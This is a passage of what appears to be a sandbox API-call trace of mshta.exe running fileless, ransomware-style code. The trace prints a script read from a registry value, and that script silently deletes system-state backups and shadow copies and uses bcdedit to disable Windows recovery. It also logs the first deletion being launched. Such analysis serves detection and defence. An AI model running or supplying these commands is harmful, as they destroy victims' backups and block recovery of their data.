(_Size=0xf8) returned 0xbeebb8 [0253.162] malloc (_Size=0x4c) returned 0xbeecb8 [0253.162] malloc (_Size=0x3c) returned 0x5177f18 [0253.162] malloc (_Size=0x88) returned 0x5177f60 [0253.163] malloc (_Size=0xd0) returned 0x5177ff0 [0253.163] malloc (_Size=0x78) returned 0x51780c8 [0253.163] malloc (_Size=0xb0) returned 0x5178148 [0253.163] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b0 [0253.163] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4b4 [0253.163] _beginthreadex (in: _Security=0x0, _StackSize=0x0, _StartAddress=0x717bb260, _ArgList=0x5178148, _InitFlag=0x4, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x4b8 [0253.167] ResumeThread (hThread=0x4b8) returned 0x1 [0253.167] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3df788*=0x4b4, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0253.254] ResetEvent (hEvent=0x4b4) returned 1 [0253.255] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4bc [0253.255] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c0 [0253.255] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c4 [0253.255] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4c8 [0253.255] QueryPerformanceFrequency (in: lpFrequency=0x719e2420 | out: lpFrequency=0x719e2420*=100000000) returned 1 [0253.255] QueryPerformanceCounter (in: lpPerformanceCount=0x719e2428 | out: lpPerformanceCount=0x719e2428*=25655747833) returned 1 [0253.255] malloc (_Size=0x84) returned 0x5178200 [0253.255] malloc (_Size=0x80) returned 0xbe9b90 [0253.255] malloc (_Size=0x174) returned 0x5178290 [0253.255] malloc (_Size=0xc) returned 0xbeb0c0 [0253.255] malloc (_Size=0x74) returned 0x5178640 [0253.255] malloc (_Size=0x178) returned 0x51786c0 [0253.256] malloc (_Size=0x9c) returned 0x5178840 [0253.256] malloc (_Size=0x174) returned 0x51788e8 [0253.256] malloc (_Size=0xf8) returned 0x5178a68 [0253.256] malloc (_Size=0xf8) returned 0x5178b68 [0253.257] malloc (_Size=0xc4) returned 0x5178c68 [0253.257] malloc (_Size=0xcc) returned 0x5178d38 [0253.257] malloc (_Size=0x104) returned 0x5178e10 [0253.257] malloc (_Size=0x404) returned 0x5178f20 [0253.257] malloc (_Size=0xa4) returned 0x5179330 [0253.258] malloc (_Size=0x7c) returned 0xbea300 [0253.258] malloc (_Size=0x74) returned 0x51793e0 [0253.258] malloc (_Size=0x30) returned 0x51682d0 [0253.258] malloc (_Size=0x30) returned 0x51683b0 [0253.258] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x6030000 [0253.258] malloc (_Size=0xc) returned 0xbeb0f0 [0253.258] malloc (_Size=0x12c) returned 0x5179460 [0253.258] malloc (_Size=0xb8) returned 0x5179598 [0253.259] malloc (_Size=0xb8) returned 0x5179658 [0253.259] malloc (_Size=0xf4) returned 0x5179718 [0253.259] malloc (_Size=0x98) returned 0x5179818 [0253.259] malloc (_Size=0xa8) returned 0x51798b8 [0253.260] malloc (_Size=0xb4) returned 0x5179968 [0253.260] malloc (_Size=0xb0) returned 0x5179a28 [0253.261] malloc (_Size=0x94) returned 0x5179ae0 [0253.261] malloc (_Size=0x80) returned 0xbea410 [0253.261] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x74ea0000 [0253.261] GetProcAddress (hModule=0x74ea0000, lpProcName="ResolveDelayLoadedAPI") returned 0x74f9a730 [0253.262] GetProcAddress (hModule=0x74ea0000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7500d8e0 [0253.262] ResolveDelayLoadedAPI () returned 0x75bd3cc0 [0253.262] SafeArrayCopy (in: psa=0x0, ppsaOut=0x490002c | out: ppsaOut=0x490002c) returned 0x0 [0253.262] malloc (_Size=0xdc) returned 0x5179b80 [0253.262] malloc (_Size=0xf8) returned 0x5179c68 [0253.262] malloc (_Size=0xc) returned 0xbeb120 [0253.262] malloc (_Size=0x10) returned 0xbeb168 [0253.263] GetEnvironmentVariableW (in: lpName="JS_PROFILER", lpBuffer=0x3df870, nSize=0x27 | out: lpBuffer="") returned 0x0 [0253.263] ParseURLW (in: pcszURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppu=0x3df668 | out: ppu=0x3df668) returned 0x0 [0253.263] SysStringLen (param_1="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 0x64 [0253.263] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0253.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x1004, lpLCData=0x3df914, cchData=6 | out: lpLCData="1252") returned 5 [0253.263] IsValidCodePage (CodePage=0x4e4) returned 1 [0253.263] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3df944 | out: PolicyValue=0x3df944) returned 0 [0253.263] malloc (_Size=0x2c) returned 0x5168148 [0253.263] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0253.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1f4 | out: lpSystemTimeAsFileTime=0xbee1f4*(dwLowDateTime=0xb19d62d5, dwHighDateTime=0x1d4f110)) [0253.263] GetTickCount () returned 0x3ea13 [0253.263] malloc (_Size=0x184) returned 0x5179d68 [0253.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1fc | out: lpSystemTimeAsFileTime=0xbee1fc*(dwLowDateTime=0xb19d62d5, dwHighDateTime=0x1d4f110)) [0253.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1f4 | out: lpSystemTimeAsFileTime=0xbee1f4*(dwLowDateTime=0xb19d62d5, dwHighDateTime=0x1d4f110)) [0253.264] GetTickCount () returned 0x3ea13 [0253.264] malloc (_Size=0x30) returned 0x51681b8 [0253.264] malloc (_Size=0xa0) returned 0x5179ef8 [0253.264] malloc (_Size=0x404) returned 0x5179fa0 [0253.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1fc | out: lpSystemTimeAsFileTime=0xbee1fc*(dwLowDateTime=0xb19d62d5, dwHighDateTime=0x1d4f110)) [0253.264] CoCreateInstance (in: rclsid=0x7287d15c*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7287c964*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppv=0x3df96c | out: ppv=0x3df96c*=0x517a3f8) returned 0x0 [0253.265] DllGetClassObject (in: rclsid=0x9099f4*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dea04 | out: ppv=0x3dea04*=0x517a3b0) returned 0x0 [0253.265] NdrDllGetClassObject (in: rclsid=0x9099f4*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dea04, pProxyFileList=0x716a2464, pclsid=0x716cc664*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x719e1e08 | out: ppv=0x3dea04*=0x0) returned 0x80040111 [0253.265] malloc (_Size=0x34) returned 0x517a3b0 [0253.266] IClassFactory:CreateInstance (in: This=0x517a3b0, pUnkOuter=0x0, riid=0x3df474*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0x3de9ec | out: ppvObject=0x3de9ec*=0x517a3f8) returned 0x0 [0253.266] malloc (_Size=0x5c) returned 0x517a3f0 [0253.266] GetCurrentThreadId () returned 0x15c [0253.266] IUnknown:AddRef (This=0x517a3f8) returned 0x2 [0253.266] IUnknown:Release (This=0x517a3f8) returned 0x1 [0253.266] IUnknown:Release (This=0x517a3b0) returned 0x0 [0253.266] free (_Block=0x517a3b0) [0253.266] IUnknown:QueryInterface (in: This=0x517a3f8, riid=0x7287c964*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0x3df91c | out: ppvObject=0x3df91c*=0x517a3f8) returned 0x0 [0253.266] IUnknown:Release (This=0x517a3f8) returned 0x1 [0253.266] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x94e110 [0253.266] malloc (_Size=0x88) returned 0x517a458 [0253.267] malloc (_Size=0x10c) returned 0x517a4e8 [0253.267] malloc (_Size=0x22c) returned 0x517a600 [0253.267] malloc (_Size=0x804) returned 0x517a838 [0253.267] malloc (_Size=0x19c) returned 0x517b048 [0253.267] free (_Block=0x517b048) [0253.267] malloc (_Size=0x94) returned 0x517b048 [0253.268] malloc (_Size=0xa4) returned 0x517b0e8 [0253.268] malloc (_Size=0xc) returned 0xbeb180 [0253.268] malloc (_Size=0xc) returned 0x517b2d0 [0253.268] malloc (_Size=0x10) returned 0x517b4b0 [0253.268] malloc (_Size=0x30) returned 0x5168340 [0253.268] free (_Block=0x517a838) [0253.268] free (_Block=0x517a600) [0253.268] malloc (_Size=0x20) returned 0xbeed10 [0253.268] malloc (_Size=0xc) returned 0x517b2e8 [0253.268] free (_Block=0x517a4e8) [0253.268] malloc (_Size=0x18) returned 0xbec9f0 [0253.268] malloc (_Size=0xc) returned 0x517b300 [0253.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbee1f4 | out: lpSystemTimeAsFileTime=0xbee1f4*(dwLowDateTime=0xb19d62d5, dwHighDateTime=0x1d4f110)) [0253.269] GetTickCount () returned 0x3ea13 [0253.269] GetTickCount () returned 0x3ea13 [0253.269] GetTickCount () returned 0x3ea13 [0253.269] malloc (_Size=0x30) returned 0x5168180 [0253.269] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x6050000 [0253.270] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x6050000, dwSize=0x1000) returned 1 [0253.270] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3def68 | out: PolicyValue=0x3def68) returned 0 [0253.270] ResolveDelayLoadedAPI () returned 0x75d55cf0 [0253.270] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x3df2a4 | out: lpclsid=0x3df2a4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0253.271] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3def84 | out: PolicyValue=0x3def84) returned 0 [0253.272] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3def60 | out: PolicyValue=0x3def60) returned 0 [0253.272] ResolveDelayLoadedAPI () returned 0x75cc4f90 [0253.272] CoGetClassObject (in: rclsid=0x3df2a4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x5, pvReserved=0x0, riid=0x716cc7d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3df29c | out: ppv=0x3df29c*=0x517b330) returned 0x0 [0254.402] malloc (_Size=0x80) returned 0xbea740 [0254.402] GetVersionExA (in: lpVersionInformation=0x3dd8f4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x71677390, dwMinorVersion=0xbe0000, dwBuildNumber=0x88, dwPlatformId=0x11, szCSDVersion="") | out: lpVersionInformation=0x3dd8f4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0254.402] GetUserDefaultLCID () returned 0x409 [0254.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x3dd4bc, cchData=2 | out: lpLCData="") returned 2 [0254.402] malloc (_Size=0xc) returned 0x517b330 [0254.403] malloc (_Size=0x28) returned 0x517a3b0 [0254.403] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3df128, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0254.403] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\wscript.exe") returned -1 [0254.403] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\cscript.exe") returned -1 [0254.403] free (_Block=0x517b330) [0254.403] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3def20 | out: PolicyValue=0x3def20) returned 0 [0254.403] LoadRegTypeLib (in: rguid=0x7167399c*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3df1ec | out: pptlib=0x3df1ec*=0x9603d0) returned 0x0 [0254.412] ITypeLib:GetTypeInfoType (in: This=0x9603d0, index=0x71673740, pTKind=0x3df1cc | out: pTKind=0x3df1cc*=9837652) returned 0x0 [0254.412] IUnknown:Release (This=0x9603d0) returned 0x1 [0254.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\CADHC\\SH[YU", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0254.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\CADHC\\SH[YU", cchWideChar=-1, lpMultiByteStr=0x3de8c0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\CADHC\\SH[YU", lpUsedDefaultChar=0x0) returned 26 [0254.413] _mbsnbcmp (_Str1=0x3de8c0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0254.413] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\CADHC", ulOptions=0x0, samDesired=0x1, phkResult=0x3de89c | out: phkResult=0x3de89c*=0x4f0) returned 0x0 [0254.413] RegQueryValueExA (in: hKey=0x4f0, lpValueName="SH[YU", lpReserved=0x0, lpType=0x3de908, lpData=0x0, lpcbData=0x3de90c*=0x75bcee24 | out: lpType=0x3de908*=0x1, lpData=0x0, lpcbData=0x3de90c*=0x164) returned 0x0 [0254.413] RegQueryValueExA (in: hKey=0x4f0, lpValueName="SH[YU", lpReserved=0x0, lpType=0x3de908, lpData=0x3de750, lpcbData=0x3de90c*=0x164 | out: lpType=0x3de908*=0x1, lpData="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);", lpcbData=0x3de90c*=0x164) returned 0x0 [0254.413] RegCloseKey (hKey=0x4f0) returned 0x0 [0254.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3de750, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 356 [0254.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3de750, cbMultiByte=-1, lpWideCharStr=0x962794, cchWideChar=356 | out: lpWideCharStr="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);") returned 356 [0254.414] SysStringLen (param_1="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);") returned 0x163 [0254.414] malloc (_Size=0x7c) returned 0xbe9ca0 [0254.414] malloc (_Size=0x80) returned 0xbe9d28 [0254.415] malloc (_Size=0x22c) returned 0x517b5a0 [0254.415] malloc (_Size=0x804) returned 0x517b7d8 [0254.415] malloc (_Size=0x19c) returned 0x517a4e8 [0254.415] free (_Block=0x517a4e8) [0254.416] malloc (_Size=0x90) returned 0x517a4e8 [0254.417] malloc (_Size=0x98) returned 0x517a580 [0254.417] malloc (_Size=0xa8) returned 0x517a620 [0254.417] malloc (_Size=0xc) returned 0x517b3a8 [0254.417] malloc (_Size=0xc) returned 0x517b450 [0254.417] malloc (_Size=0x10) returned 0x517b318 [0254.417] malloc (_Size=0x28) returned 0x517a6d0 [0254.417] free (_Block=0x517b318) [0254.417] malloc (_Size=0x88) returned 0x517a700 [0254.418] malloc (_Size=0x30) returned 0x5168308 [0254.418] free (_Block=0x517b7d8) [0254.418] free (_Block=0x517b5a0) [0254.418] malloc (_Size=0x84) returned 0x517a790 [0254.418] malloc (_Size=0x90) returned 0x517a820 [0254.418] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3deac8 | out: PolicyValue=0x3deac8) returned 0 [0254.418] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x3dee04 | out: lpclsid=0x3dee04*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0254.418] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3deae4 | out: PolicyValue=0x3deae4) returned 0 [0254.418] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3deac0 | out: PolicyValue=0x3deac0) returned 0 [0254.418] CoGetClassObject (in: rclsid=0x3dee04*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x5, pvReserved=0x0, riid=0x716cc7d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dedfc | out: ppv=0x3dedfc*=0x517b2a0) returned 0x0 [0254.419] DllGetClassObject (in: rclsid=0x909d34*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), riid=0x716cc7d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dedfc | out: ppv=0x3dedfc*=0x517b2a0) returned 0x0 [0254.419] malloc (_Size=0xc) returned 0x517b2a0 [0254.419] malloc (_Size=0x28) returned 0x517a8b8 [0254.419] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x3dec88, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0254.419] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\wscript.exe") returned -1 [0254.419] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\cscript.exe") returned -1 [0254.419] free (_Block=0x517b2a0) [0254.419] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x3dea80 | out: PolicyValue=0x3dea80) returned 0 [0254.419] GetTickCount () returned 0x3ee97 [0254.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5171908 | out: lpSystemTimeAsFileTime=0x5171908*(dwLowDateTime=0xb24dd0c3, dwHighDateTime=0x1d4f110)) [0254.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5171918 | out: lpSystemTimeAsFileTime=0x5171918*(dwLowDateTime=0xb24dd0c3, dwHighDateTime=0x1d4f110)) [0254.420] GetTickCount () returned 0x3ee97 [0254.420] SetEvent (hEvent=0x4a8) returned 1 [0254.420] GetTickCount () returned 0x3ee97 [0254.420] malloc (_Size=0xc) returned 0x517b318 [0254.420] GetTickCount () returned 0x3ee97 [0254.420] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.420] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.421] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.421] IsCharSpaceW (wch=0x6f) returned 0 [0254.421] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.421] IsCharSpaceW (wch=0x6f) returned 0 [0254.421] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0", lpDst=0x3ddc68, nSize=0x400 | out: lpDst="cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0") returned 0x3c [0254.422] LoadLibraryExW (lpLibFileName="shell32.dll", hFile=0x0, dwFlags=0x800) returned 0x76480000 [0254.422] GetProcAddress (hModule=0x76480000, lpProcName="ShellExecuteExW") returned 0x765e4730 [0254.422] ShellExecuteExW (in: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3ddc10*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0254.602] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 18146000 [0254.616] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0254.618] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x1c, wParam=0x0, lParam=0xe38) returned 0x0 [0254.618] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x1c, wParam=0x0, lParam=0xe38) returned 0x0 [0254.618] GetWindowLongW (hWnd=0x80016, nIndex=-21) returned 18146000 [0254.620] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x1c, wParam=0x0, lParam=0xe38) returned 0x0 [0254.620] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0254.620] GetAncestor (hwnd=0x300ec, gaFlags=0x3) returned 0x70126 [0254.620] GetAncestor (hwnd=0x0, gaFlags=0x3) returned 0x0 [0254.620] IsChild (hWndParent=0x300ec, hWnd=0x0) returned 0 [0254.620] PostMessageW (hWnd=0x300ec, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0254.621] GetCursorPos (in: lpPoint=0x3dd0c0 | out: lpPoint=0x3dd0c0*(x=1000, y=495)) returned 1 [0254.621] ScreenToClient (in: hWnd=0x300ec, lpPoint=0x3dd0c0 | out: lpPoint=0x3dd0c0) returned 1 [0254.621] memcpy_s (in: _Destination=0x3dc3c0, _DestinationSize=0xc28, _Source=0x738821b0, _SourceSize=0xc28 | out: _Destination=0x3dc3c0) returned 0x0 [0254.621] GetKeyState (nVirtKey=16) returned 0 [0254.621] GetKeyState (nVirtKey=17) returned 0 [0254.621] GetKeyState (nVirtKey=18) returned 0 [0254.621] GetKeyState (nVirtKey=160) returned 0 [0254.621] GetKeyState (nVirtKey=162) returned 0 [0254.621] GetKeyState (nVirtKey=164) returned 0 [0254.621] GetCursorPos (in: lpPoint=0x3dd0c0 | out: lpPoint=0x3dd0c0*(x=1000, y=495)) returned 1 [0254.621] ScreenToClient (in: hWnd=0x300ec, lpPoint=0x3dd0c0 | out: lpPoint=0x3dd0c0) returned 1 [0254.621] GetKeyState (nVirtKey=16) returned 0 [0254.621] GetKeyState (nVirtKey=17) returned 0 [0254.621] GetKeyState (nVirtKey=18) returned 0 [0254.621] GetKeyState (nVirtKey=160) returned 0 [0254.621] GetKeyState (nVirtKey=162) returned 0 [0254.621] GetKeyState (nVirtKey=164) returned 0 [0254.622] GetCapture () returned 0x0 [0254.622] GetWindowThreadProcessId (in: hWnd=0x9002e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.622] GetCurrentThreadId () returned 0x15c [0254.622] GetKeyState (nVirtKey=1) returned 0 [0254.622] GetKeyState (nVirtKey=2) returned 0 [0254.622] GetKeyState (nVirtKey=16) returned 0 [0254.622] GetKeyState (nVirtKey=17) returned 0 [0254.622] GetKeyState (nVirtKey=4) returned 0 [0254.622] GetKeyState (nVirtKey=18) returned 0 [0254.622] GetMessageTime () returned 255875 [0254.622] GetMessagePos () returned 0x1ef03e8 [0254.622] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x3dd2f4 | out: plResult=0x3dd2f4) returned 0x1 [0254.622] NtdllDefWindowProc_W (hWnd=0x300ec, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0254.623] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0254.623] GetKeyState (nVirtKey=1) returned 0 [0254.623] GetKeyState (nVirtKey=2) returned 0 [0254.623] GetKeyState (nVirtKey=16) returned 0 [0254.623] GetKeyState (nVirtKey=17) returned 0 [0254.623] GetKeyState (nVirtKey=4) returned 0 [0254.623] GetKeyState (nVirtKey=18) returned 0 [0254.623] GetMessageTime () returned 255875 [0254.623] GetMessagePos () returned 0x1ef03e8 [0254.624] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x926820, hWnd=0x300ec, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x3dcfac | out: plResult=0x3dcfac) returned 0x0 [0254.624] GetWindowLongW (hWnd=0x300ec, nIndex=-21) returned 18284544 [0254.624] GetKeyState (nVirtKey=1) returned 0 [0254.624] GetKeyState (nVirtKey=2) returned 0 [0254.624] GetKeyState (nVirtKey=16) returned 0 [0254.624] GetKeyState (nVirtKey=17) returned 0 [0254.624] GetKeyState (nVirtKey=4) returned 0 [0254.624] GetKeyState (nVirtKey=18) returned 0 [0254.624] GetMessageTime () returned 255875 [0254.624] GetMessagePos () returned 0x1ef03e8 [0254.624] 